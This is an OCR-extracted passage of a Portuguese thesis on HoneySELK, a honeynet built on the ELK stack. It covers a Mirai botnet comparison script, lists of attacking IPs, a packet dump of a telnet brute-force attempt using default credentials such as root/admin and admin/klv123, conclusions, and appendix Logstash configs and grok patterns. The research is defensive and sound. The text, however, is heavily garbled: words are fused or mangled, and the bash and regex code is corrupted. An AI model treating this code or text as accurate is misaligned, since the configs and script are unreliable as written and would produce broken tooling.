.81.2
.205.244
.205.68

01172.22.24.212

0]181.
01181.
0181.
01184.
01185.
01187.
01187
01187,
01187.
01187.
01187.
01187.
01187.
01187.
01187.
01187.
01189.
01188,
01188,
0]189.
01189.
01189.

221

.114.163

56.21.174
56.21.44
82.129.66

166.221.89

135

.143.

143
143
143
143
143
171
171
171
171
129
129
129
129
148
148

#Hibinbash
.5.196
101.255 [foripin ${cat logstash sidout.1.fitro.bt), do
v="cal miral asn.ip filtro. bt | grep Sip 2> idevinull’
it[$7 -2q 0]; then

echo "> Este IP atacou o HoneySELK: $v"

.190.172
.200.247
.26.193
.30,93  dore
.96.1
.147.225
.154.84
.26.120
.7.239

.0.81
.102.28
.122.54
.176.53
.122.96
.173.82

IPs Mirai + Log HoneySELK

cal logstash sidout 1 | grep -a —-lexd src_ip | cut - 22.38 | ir ™" | cut -d: -f2 | sort | unig > logstash sidout 1 fiitro bt

Resultado

-> Este
-> Este
=> Este
-> Este
=> Este
-> Este
-> Este
=-» E3te
-> Este
-» Este
-> Este
-> Este
-> Este
=» Este
- Este
-> Este
=> Este
=> Este
=> Este
-> Este
-> Este
=-» Este
-» Este
-» Este
-» Este
-> Este
=> Este
=» Este
-> Este
-> Este
-> Este
=> Este

IF atacou o HoneySELK:
IF atacou o HoneySELK:
IP atacou o HoneySELK:
IP atacou o HoneySELK:
IP atacou o Honey3ELK:
IF atacou o HoneySELK:
IP atacou o HoneySELK:
IP atacou o HoneySELK:
IP atacou o HoneySELK:
IP atacou o Honey3SELK:
IP atacou o HoneySELK:
IP atacou o HoneySELK:
IP atacou o HoneySELK:
IP atacou o HoneySELK:
IP atacou o Honey3ELK:
IF atacou o HoneySELK:
IFP atacou o HoneySELK:
IP atacou o HoneySELK:
IP atacou o HoneySELK:
IP atacou o HoneySELK:
IP atacou o HoneySELK:
IP atacou o HoneySELK:
IP atacou o HoneySELK:
IP atacou o Honey3SELK:
IP atacou o HoneySELK:
IP atacou o HoneySELK:
IF atacou o HoneySELK:
IP atacou o HoneySELK:
IP atacou o Honey3ELK:
IP atacou o HoneySELK:
IF atacou o HoneySELK:
IP atacou o HoneySELK:

103.217.108.137
103.234.1¢61.63
108.58.68.70
110.55.64.55
111.185.171.115
112.206.101.52
112.53.77.58
113.22.99.213
114.30.197.224
114.35.13.178
115.178.27.116
116.108.1.178
116.74.122.93
117.6.99.152
119.253.33.6
121.67.132.221
121.96.88.33
122.117.1.125
123.22.204.65
124.189.161.200
124.192.88.151
125.227.179.92
125.37.69.124
134.249.132.71
134.249.210.37
151.250.116.206
173.56.81.6
175.100.15.181
175.100.85.38
175.182.230.134
175.183.58.49
176.103.84.245

Na Figura 4.20 pode-se observar uma grande qudstida IPs daMirai Botnet atacando
também oHoneySELK A Figura 4.21 apresenta uBashboardcom informacfes sobre

paises, IPs, portash®neypotamais requisitados. Interessante verificar que dggrarte dos

Figura 4.20: Enderecos IPs Bli@rai Botnetque atacaram doneySELK

IPs pertencem a Taiwan e China e que apenas aZ®I(fBELNET) foi atacada peldlirai

Botnet




112.206.101.52'7112.53.7.5877113.22.99.213'114.30.197.224"114.35.13.178"/115.178.27.116"7116.108.1.1787711674.122.937117.6.99.15271192  Q

mapa_src_ip_02 s x grafo_pizza_atd_acesso_paises s x grafo_pizza otd_acessos_geop &4 X grafo_pizza_qtd acessos_destport g..# %
» ®Taiwan - » O1IL15171115 & > 023
w| t Russia ®china @12419258.151
Canady ® United states ©177.169.24288

Mongolia

@ Uksine . ©108.58.68.70

@l ©114.30197.224

® Colombia % ) ® 12167132221
=

@ Korea, Republic of ®17356816

;‘ @ Victnam = = ew0u1m

@ Bangladesh ®122117.1125
@ Russian Fedemtion ©175.183.58.49
eyt 1621919097
@ Filippines 4.161.63
e . . B
src_dest_externo 4% nuvem_paises 4% atd_total_acessos 4%
123 4 5 .0 s &
scip stc_port destip dest_port proto action geoip.country_name 770 60
11430197228 35058 172302036 23 o pass Korea, Republic of TENTATIVAS DE ACESSOS ~ TOTAL DE IPs
1167132221 47551 172302036 23 o pass Korea, Republic of China Ia'Wan
izieraszan  assze 172302036 23 o pass Korea, Republic of United States
12167132221 46106 17230203 23 tp pass Korea, Republic of
QUANTIDADE DE PAISES
1167132221 45398 172302036 23 o pass Korea, Republic of
. ) ~ ~
grafo_tatal_conexoes s % grafo_vertical_honeypots s % navem_ip s %

= £ 124.192.88.151
H «
S 8 111.185.171.115
177.189.242
mse1
@imestamp per day
~ ~ ~

Figura 4.21Dashboardcom informacdes do atagirai Botnetno HoneySELK

Neste mesmo cenario, analisando um endereco MirdaBotnet conseguiu-se detalhes do
atague através dmayloaddo pacote. As Figuras 4.22 e 4.23 indicam queacaate utilizou
varias combinacdes degins (root, admir) e senhasadmin, klvl23} na tentativa de se

autenticar no ambiente.

NOVB m be r 2016 Connections related to 111.185.171.115 Obsel
sun mon tue wed thu i sat T T ] T B
1 2 3 4 5 November 3rd 21:02:06 00.02.28
N - 111.185.171.115 0 172.30.20.36
pa) a3 dd d Ay dl) ik rcp 4282 (4282) 0kB 18 pks —= 23 (telnet)
20 21 22 23 24 25 28 5 LN OWH <0 kB 10 pkts —
27 2B 29 30 MNovember3rd 21:02:07 00:00:07
Efiﬂr &DHT]PE LEN!:?MDJHIM 111.185.171.115 0 172.30.20.36
nar Year, ex ear, =
i = DS ;gp 353}&(%5“%2) 0 kB 18 phis —= o181 ohs 23 (nilnet)
LY a i November3rd 21:02:13 00:00:07
1z 2 z 111.185.171.115 [ 172.30.20.36
T 5 3 TcP 38142 (38142) 0 kB 18 phis —> 23 telnet)
oo d g E7 WHKN OWH <0 kB 18 pks —
5:00 ] ) November3rd 21:02:14 00:00:04
g B g 111.185.171.115 0 172.30.20.36
] o o Wl 38338 (38338) 0 kB 4 phts —> 23 (teinet)
- 19 UHKN OWH <0 kB 5 pkis —
:gg g g MNovember3rd 21:02:15 00:00:07
A0 g g 111.185.171.115 0 172.30.20.36
1100 0 0 TcP 38381 (38391) 0 KB 18 phts —> 23 (teinet)
=T 0 o E7 UNKH OWH =0 kB 19 pk —
13:00 o o November3rd 21:02:16 00:00:01
T 5 g 111.185.171.115 0 172.30.20.36
15.00 o il W 38438 (38438) 0 kB 4 phis —> 23 (tinet)
: 10 UNKN OWH <0 kB 4 phs —
1600 0 o] == |
17-00 o 0 November3rd 21:02:17 00:00:00
18.00 [ 0 111.185.171.115 0 172.30.20.36
18:00 o 0 W 38470 (38470) 0 kB 4 phis —> 23 (tinet)
20:00 [ o] €W |19 UNKN OWH <0 kB 4 phis _
21.00 101 o Novemnber3rd 21:02:17 00:00:01
22:00 [ 0 111.185.171.115 0 172.30.20.36
23.00 0 0] dd 38510 (38510) 0 KB 4 pkts - 23 (telnet)
P — 19 UNKN OWH <0 kB 4 phis —

Figura 4.22: Andalise de um endereco IRvileai Botnet
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=+ =t =—t=—t=—t=—t=—t=—t=—t=—t=—t=—t=—t=—t=—t=t=—t=—t=—t=—t=—t=—t=—t=t ==t ===t =t =t =t =t =t =t =t=t

11/03-21:02:16.731135 0:15:50:6:57:16 -> 0:15:5D:6:57:46 type:0xB00 len:0x42
172.30.20.36:23 -> 111.185.171.115:38391 TCP TTL:128 TOS:0x0 ID:52330 IpLen:20 Dgmlen:52 DF
dokkpProlok Seq: Ox1E441BE2  Ack: Ox3445B694 Win: OxFFEL Teplen: 20

FF FC 41 QA QD 6C 6F 67 68 BE 3A 20 ..A. . legin:

=t =t =t ==t ==t ==t ==t ==t ==t =t =t e e e et e e e et e e e e e = e e e e e =

11/03-21:02:17.107547 0:15:5D:6:57:46 -> 0:15:5D:6:57:16 type:0x800 len:0x3A
111.185.171.115:383581 -=» 172.30.20.36:23 TCP TTL 25-TMQS:0x4 ID:7781 Iplen:20 Dgmlen:44 DF
sockADsokk Saq: Ox3445B694 Ack: Ox1E441BEE  Win: /OxEAZ WCpLen 20

72 BF 6F 74 \ root )

N 7

11/03-21:02:17.450828 0:15:50:6:57:16 -> 0:15:5D:6:57:46 type:0xB00 len:0x42
172.30.20.36:23 -> 111.185.171.115:38391 TCP TTL:128 TOS:0x0 ID:52341 IplLen:20 Dgmlen:52 DF
dokkpProkok Seq: Ox1E441BF2  Ack: Ox3445B6SA Win: OxFFDE Teplen: 20

QA QD 70 61 73 73 77 6F 72 64 3A 20 . .password:

=t =t =t ==t ==t ==t ==t ==t ==t =t =t e e e et e e e et e e e e e = e e e e e =

11/03-21:02:17.846138 0:15:5D:6:57:46 -> 0:15:5D:6:57:16 type:0xB0O0O len:0x3B
111.185.171.115:38391 -= 172.30.20.36:23 TCP TTL; BE"I'QS Ox4 ID:7783 IplLen:20 DgmLen:45 DF
kAPl Seq: Ox3445BESA Ack: Dx1E4A41BFE Win: /UxE42 chLen 20

61 64 60 69 BE \ admin )

\

7/
:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+E+':+=+’:+:+:+:+:+:+:+:+:+:+

11/03-21:02:27.828339 0:15:50:6:57:16 -> 0:15:5D:6:57:46 type:0x800 len:0x3A
172.30.20.36:23 -= 111.185.171.115:38866 TCP TTL:128 T05:0x0 ID:32478 IplLen:20 Dgmlen:44 DF
*oRkAPRk Saq: OxAD44FSFS  Ack: OxGDEDABDB Win: OxFFDD TeplLen: 20

72 6F B6F 74 root

=+ =t =—t=—t=—t=—t=—t=—t=—t=—t=—t=—t=—t=—t=—t=t=—t=—t=—t=—t=—t=—t=—t=t ==t ===t =t =t =t =t =t =t =t=t

11/03-21:02:28.189880 0:15:5D:6:57:16 -> 0:15:5D:6:57:46 type:0x800 len:0x42
172.30.20.36:23 -= 111.185.171.115:38866 TCP TTL:128 T05:0x0 ID:52486 IplLen:20 DgmLen:32 DF
*oRkAPRk Saq: OxAD44FSFS  Ack: OxGDEDABDD Win: OxFFDB  TcplLen: 20

QA GD 70 61 73 73 77 6F 72 64 3A 20 . .password:

=+ =t =—t=—t=—t=—t=—t=—t=—t=—t=—t=—t=—t=—t=—t=t=—t=—t=—t=—t=—t=—t=—t=t ==t ===t =t =t =t =t =t =t =t=t

11/03-21:02:28.553258 0:15:50:6:57:46 -> 0:15:5D:6:57:16 type:0xB00 len:0x3C
111.185.171.115:38866 -»> 172.30.20.36:23 TCP TTL:35 TOS;0x4 ID:12388 IplLen:20 Dgmlen:48 DF
dokkpProkok Seq: OxEDEDABDD  Ack: OxAO44FAOS Win: /DxE42 TtpLen 20
68 6C 76 31 32 33 \ klv123

AN /
—tot=t=t=tot ot ot =t ot ot =t ot ot ot ob oot ot =hob oot P b=t S of = b ot o == b = b=t =

11/03-21:02:28.075504 0:15:5D:6:57:16 -=> 0:15:5D:6:57:46 type:0x800 len:0xS53

172.30.20.36:23 -= 111.185.171.115:38866 TCP TTL:128 T05:0x0 ID:32503 IplLen:20 Dgmlen:133 DF
oRRAPRRE Saq: OxAD44FAOS  Ack: OxBDEDABES Win: OxFFD3 TcpLen: 20

0D OA 46 61 6C 68 61 20 64 65 20 6C 6F 67 6F 6E ..Falha de logon

3A 20 BE B6F 6D 65 20 64 65 20 75 73 75 AD 72 69 : nome de usu.ri

6F 20 64 65 73 63 6F 6E 68 65 63 69 64 6F 20 6F o desconhecido o

75 20 73 65 BE 68 61 20 69 B6E 63 6F 72 72 65 74 u senha incorret

61 2E OD QA GD QA 4C 6F 67 69 6E 20 46 61 69 6C a..... Login Fail

65 64 0D QA QA QD B6C 6F 67 69 6E 3A 20 ed....login:

=t =t =t ==t ==t ==t ==t ==t ==t =t =t e e e et e e e et e e e e e = e e e e e =

Figura 4.23: Detalhamento do atadvieai BotnetnoHoneySELK
4.7. SINTESE DO CAPITULO

Neste ambiente foi apresentado uma arquiteturazagaoletar, analisar, visualizar e estudar

ataques cibernéticos e vulnerabilidades exploradasistemas de rede que outras solucdes

50



nao fazem. Este ambiente permite ainda realizata®ldenalwaree explorar graficamente
as relacbes entre as entidades (paises, IPs, pgertasgem e destino, protocoldsmneypots

para reproduzir os ataques na forma de grafos.

Durante este capitulo foi possivel mostrar a laegho geogréfica da origem dos ataques com
apresentacdes de estatisticas divididas por pdR&sservicos éoneypots Conseguiu-se
verificar, por exemplo, que a China foi o pais cmaior quantidade de requisicbes e que a
porta 23 (TELNET) foi a mais visitada. Através d&ds aplicados no ambiente foi possivel
detectar os IPs com maior quantidade de requisipd@snbiente. Este processo € importante,
tendo em vista a possibilidade de inclui-los em bfaeklistautomatizada. Com a finalidade
de facilitar a analise e visualizacdo dos atagomexstrou-se também através de grafos os

ataques sendo direcionados para o ambiente.

Foram analisados e detalhados dois tipos de ataqoesloneySELK O primeiro,
georreferenciado como origem sendo a Pol6nia feciinado para a porta 21 Honeypot
FTP. Foi possivel verificar através de uma andaletalhada que se tratava de uma ataque de
forca bruta. O segundo ataque foi direcionado pgparta 80 ddHoneypotWEB. Mais uma

vez foi feita uma analise detalhada e conseguivesiicar que o usuario malicioso tinha
realizado unscanatravés da ferramentakto como uma tentativa de coletar informacdes e

vulnerabilidades déloneypotWEB através do protocolo HTTP.

Ainda neste mesmo capitulo realizou-se a coletairdebinario na qual estava utilizando
Executable and Linking FormgELF) e empacotado compackerUPX. Uma andlise feita
pela plataforma do virustotal mostrou uma taxa eteatdo de 7,14% para este binario. Por
fim, foi feita uma comparacdo com 92.867 enderdBgsdaMirai Botnet com oslogs do
HoneySELK Esta analise mostrou que grande parte dos IPsvdiiae China) estavam

atacando também o ambiente e que a porta maissitaglai foi a 23 (TELNET).
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5. CONCLUSOES E TRABALHOS FUTUROS

Este trabalho propds e apresentou detalhes do mt®mbieneySELKcomo solucdo de pesquisa
para analisar vulnerabilidades e acompanhar n@rasaé de atividades de intrusos em redes
de computadores.

O desenvolvimento do ambiente proposto foi dividiem cinco fases, buscando uma
otimizacdo da solucdo proposta. Na primeira fasenfodetalhados aspectos envolvidos na
arquitetura, bem como as ferramentas utilizadas;rdeendo como foram configurados. Na
segunda fase, configuracdes fdewall foram utilizadas para controlar o fluxo de dados n
ambiente, de forma a evitar que atacantes queewiessobter controle do ambiente, fossem
capazes de utiliza-lo para gerar novos ataquestrasosistemas. Na terceira fase, foram
implementadas trés camadas para coletar as a@adsehtro dhoneynetuma para registrar
conexdes de entrada e saida; outra para captdmotivafego; a Ultima para o direcionamento
das portas para d®neypotsNa quarta fase automatizamos o processo desafgta notificar
sobre os possiveis atagues no ambiente. Na gasgdrhplementou-se uma solucéo para fazer

a visualizacao georreferenciada dos ataques nceatal®m tempo real.

Com o objetivo de validar o ambiente, varios tefiemm feitos. O primeiro teste foi realizado
no requisito controle de dados para verificar berteywallestava coletando todos os dados de
entrada e saida. O proposito do segundo testeefificar os limites de conexdes de saida do
protocolo ICMP O terceiro teste teve como finalidade analisaa $|mse de assinaturas do
snortno honeywallestava configurada e atualizada para detectamgaed. O quarto e ultimo
teste teve como proposito verificar seaneywallestava monitorando e enviando alertas por
emails.Por fim, fizemos um estudo de caso atraves daag@o de dois ataques de forca bruta

para mostrar o funcionamento do ambiente e obtersedtados.

O ambiente proposto se mostrou capaz de captagued em tempo real, bem comalware
difundido por atacantes. Além disso, a solucéo jteramalise georreferenciada dos enderecos
IPs de origem e extracdo de informactes estaddlieservicos atacados e dados quantitativos
segundo critérios que podem ser configurados delammm a necessidade. Como resultados
da solucdo, foram detalhados dois ataques ao ampiarcoleta e analise de um artefato
malicioso capturado pelo ambiente e um estudo 869 enderecos IPs déirai Botnetno

HoneySELK A andlise dos resultados indica que tais técnpmsnitem a utilizacdo do
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ambiente proposto em diversas aplicacées de mlasive para analise forense de ataques. A
solucédo permite ainda a visualizacdo de detalhestatpies, seja com o intuito de atualizar

medidas de protecao, seja para efeito de demo@stdagtécnicas utilizadas pelos atacantes.
5.1. PUBLICA(;C)ES DECORRENTES DESTE TRABALHO

Oliveira Jr, G. A., Sousa Jr, R. T. de, Tendrio, B. (2015). Desenvolvimento de um
Ambiente Honeynet Virtual para Aplicacdo Governatakrn: The Ninth International

Conference on Forensic Computer Sciencéd.. p. 70-80.

Oliveira Jr, G. A., Sousa Jr, R. T., AlbuquerqueCR Canedo, E. D., Grégio, A. R. A. (2016).
HoneySELK: Um Ambiente para Pesquisa e Visualizatgétaques Cibernéticos em Tempo
Realln: XVI Simpdsio Brasileiro em Seguranca da InfocAme de Sistemas Computacionais
2016, Niterdi. V Workshop de Forense ComputacioNaéréi: SBC, p.697 — 706.

5.2. TRABALHOS FUTUROS

Como trabalhos futuros, pretende-se replicar o @niem varios pontos atravéshdeeypots
distribuidos, estender a quantidade de tipobaleypotgpara que se possa pesquisar outras
formas de ataques e realizar analise forense ratathdda ddoneypotgque possam ter sido
comprometidos. Utilizar técnicas de Inteligéncidifisial (IA) através do treinamento dos
dados para analisar o trafego do ambiente gueaimclataques desconhecidos. Neste caso a
base de dados do ambiente podera ser utilizaddrparar a Rede Neural Artificial (RNA) em
um IDS. Além disso, para fins de diferenciacao rifgeon é importante fazer o mapeamento de
georreferenciamento dos IPs de redes an6nimas ¢@Roe I2P. Também se entende como
necessario extrair e analisar dados a partidwapsde memoria e incluihoneypotscom

sistemas operacionais utilizados porartphones
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A. CODIGOS ELK

No apéndice sdo apresentados alguns cédigos impladus ndHoneySELKdesenvolvidos

pelo autor, a fim de realizar as transformacdesdddss recebidos doewall.
Al. Input

O objetivo deste codigo é receber os dados doditena Syslogna porta 5140.

input {
tep {
type => "syslog"
port => 5140

input {
udp {
type => "syslog"
port => 5140

A2. Filter

O objetivo deste cadigo é fazer as transformacoesiddos presentes log atraves de filtros

e expressoes regulares.

filter {
if [type] == "syslog" {
if [host] =~ /172\.30\.10\.1/ {
mutate {
add_tag => ["PFSense", "Ready"]
}

}
if "Ready" not in [tags] {
mutate {
add_tag => [ "syslog" ]

}
}
}

filter {
if [type] == "syslog" {
mutate {
remove_tag => "Ready"
}
}
}

filter {
if "syslog" in [tags] {
grok {
match => { "message" => "%{SYSLOGTIMESTAM P:syslog_timestamp} %{SYSLOGHOST:
syslog_hostname}%{DATA:syslog_program}(?:\[%{POSINT :syslog_pid}\])?: %{GREEDY
DATA:syslog_message}" }
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add_field => [ "received_at", "%{@timesta mp}"]
add_field => [ "received_from", "%{host}"

syslog_pri {}

date {
match => [ "syslog_timestamp"”, "MMM d HH :mm:ss", "MMM dd HH:mm:ss" ]
locale =>"en"

if 1("_grokparsefailure" in [tags]) {

mutate {
replace => [ "@source_host", "%{syslog _hostname}" ]
replace => [ "@message", "%{syslog_mes sage}" ]
}
}
mutate {
remove_field => [ "syslog_hostname", "sys log_message", "syslog_timestamp" ]
}
}
}
}
filter {
if "PFSense" in [tags] {
grok {
add_tag => [ "firewall" ]
mach => [ "message", "<(?<evtid>.*)>(?<datetime>(?:J an(?:uary)?|Feb(?:ruary)
?|Mar(?:ch)?|Apr(?:il)?|May|Jun(?:e)?|Jul(?:y)?|Aug (?:ust)?|Sep(?:tember)?|Oct
(?:0ber)?|Nov(?:ember)?|Dec(?:ember)?)\s+(?:(?:0[1- 9)|(?:[12][0-
9)|(?:3[01])] [1-9]) (?:2[0123]|[01]?[0-9]):(?:[O- 5][0-9]):(?:[0-5][0-9]))
(?<prog>.*?): (? <msg>.*)"]
mutate {
gsub => ["datetime"," "," "]
date {
match => [ "datetime", "MMM dd HH:mm:ss" ]
timezone =>"UTC"
mutate {
replace => [ "message", "%{msg}" ]
mutate {
remove_field => [ "msg", "datetime" ]
}
}
if [prog] =~ /ilterlog$/ {
mutate {
remove_field => [ "msg", "datetime" ]
}
grok {
patterns_dir => "/etc/logstash/conf.d/patt erns"”
match => [ "message"”, "%{PFSENSE_LOG_DATA} %{PFSENSE_IP_SPECIFIC_DATA}%{PFSENSE
_IP_DATA}%{PFSENSE_PROTOCOL_DATA}","message","%{PFS ENSE_LOG_DATA}%{PFSENSE_IP
v4_SPECIFIC_DATA_ECN} %{PFSENSE_IP_DATA}%{PFSENSE_PROTOCOL_DATA}"]
mutate {
lowercase => [ 'proto’ |
}
geoip {
add_tag => [ "GeolP" ]
source =>"src_ip"
database => "/etc/logstash/GeoLiteCity.dat "
}
}
}
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A3. Output

O objetivo deste cbdigo € enviar os dados paranseidexados n&lasticsearch

output {
elasticsearch {
hosts => ["localhost:9200"]
index => "honeyselk-%{+YYY.MM.dd}"

}
stdout {
codec => rubydebug
}
}
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A. GROK

Neste anexo é apresentado o arq@vok com as expressodes regulares utilizadas no fitiro d

Logstash.

Al. Arquivo Grok com as expressdes regulares

PFSENSE_LOG_DATA(%{INT:rule}),(%{INT:sub_rule}),,(% {INT:tracker}),(%{WORD:iface}),(%{WO
RD:reason}),(%{WORD:action}),(%{WORD:direction}), ( %{INT:ip_ver}),

PFSENSE_IP_SPECIFIC_DATA (%{PFSENSE_IPv4_SPECIFIC_D ATA}|%{PFSENSE_IPv6_SPECIFIC_DATA})
PFSENSE_IPv4_SPECIFIC_DATA(%{BASE16NUM:tos}),,(%{IN T:ttl}),(%{INT:id}),(%{INT:offset}),
(%{WORD:flags}),(%{INT:proto_id}),(%{WORD:proto}),

PFSENSE_IPv4_SPECIFIC_DATA_ECN(%{BASE16NUM:tos})),(% {INT:ecn}),(%{INT:ttl}),(%{INT:id}),
(%{INT:offset}),(%{WORD:flags}),(%{INT:proto_id}),( %{WORD:proto}),

PFSENSE_IPv6_SPECIFIC_DATA(%{BASE16NUM:class}),(%{D  ATA:flow_label}),(%{INT:hop_limit}),
(%{WORD:proto}),(%{INT:proto_id}),

PFSENSE_IP_DATA (%{INT:length}),(%{IP:src_ip}),(%{l P:dest_ip}),

PFSENSE_PROTOCOL_DATA (%{PFSENSE_TCP_DATA}|%{PFSERISJDP_DATA}|%{PFSENSE_ICMP_DATA}|%
{PFSENSE_CARP_DATA})

PFSENSE_TCP_DATA (%{INT:src_port}),(%{INT:dest_port 1D, (%{INT:data_length}),
(%{WORD:tcp_flags}),(%{INT:sequence_number}),(%{INT :ack_number}),(%{INT:tcp_window}),
(%{DATA:urg_data}),(%{DATA:tcp_options})

PFSENSE_UDP_DATA (%{INT:src_port}),(%{INT:dest_port 1, (%{INT:data_length})
PFSENSE_ICMP_DATA (%{PFSENSE_ICMP_TYPE}%{PFSENSE_IP_RESPONSE})
PFSENSE_ICMP_TYPE(?<icmp_type>(request|reply|unreac hprotolunreachportjunreach|timeexcee
d|paramprob|redirect|maskreply|needfrag|tstamp|tsta mpreply)),

PFSENSE_ICMP_RESPONSE(%{PFSENSE_ICMP_ECHO_REQ_REM{FFSENSE_ICMP_UNREACHPORT}|%{PFSE
NSE_ICMP_UNREACHPROTO}%{PFSENSE_ICMP_UNREACHABRERFSENSE_ICMP_NEED_FLAG}/%{PFSENSE_
ICMP_TSTAMP}%{PFSENSE_ICMP_TSTAMP_REPLY})

PFSENSE_ICMP_ECHO_REQ _REPLY (%{INT:icmp_echo_id}),(  %{INT:icmp_echo_sequence})

PFSENSE_ICMP_UNREACHPORT(%{IP:icmp_unreachport_dest _ip}),(%{WORD:icmp_unreachport_proto
col}),(%{INT:icmp_unreachport_port})

PFSENSE_ICMP_UNREACHPROTO(%{IP:icmp_unreach_dest_ip }),(%{WORD:icmp_unreachproto_protoco
)

PFSENSE_ICMP_UNREACHABLE (%{GREEDYDATA:icmp_unreachble})
PFSENSE_ICMP_NEED_FLAG (%{IP:icmp_need_flag_ip}),(% {INT:icmp_need_flag_mtu})
PFSENSE_ICMP_TSTAMP (%{INT:icmp_tstamp_id}),(%{INT: icmp_tstamp_sequence})

PFSENSE_ICMP_TSTAMP_REPLY (%{INT:icmp_tstamp_reply_i d}),(%{INT:icmp_tstamp_reply_sequenc
€}),(%{INT:icmp_tstamp_reply_otime}),(%{INT:icmp_ts tamp_reply_rtime}),(%{INT:icmp_tstam
p_reply_ttime})

PFSENSE_CARP_DATA(%{WORD:carp_type}),(%{INT:carp_tt 11),(%{INT:carp_vhid}),(%{INT:carp_v
ersion}),(%{INT:carp_advbase}),(%{INT:carp_advskew} )

2 Disponivel em: https://gist.github.com/elijahpéafd2d4e914dcbh7fedd2
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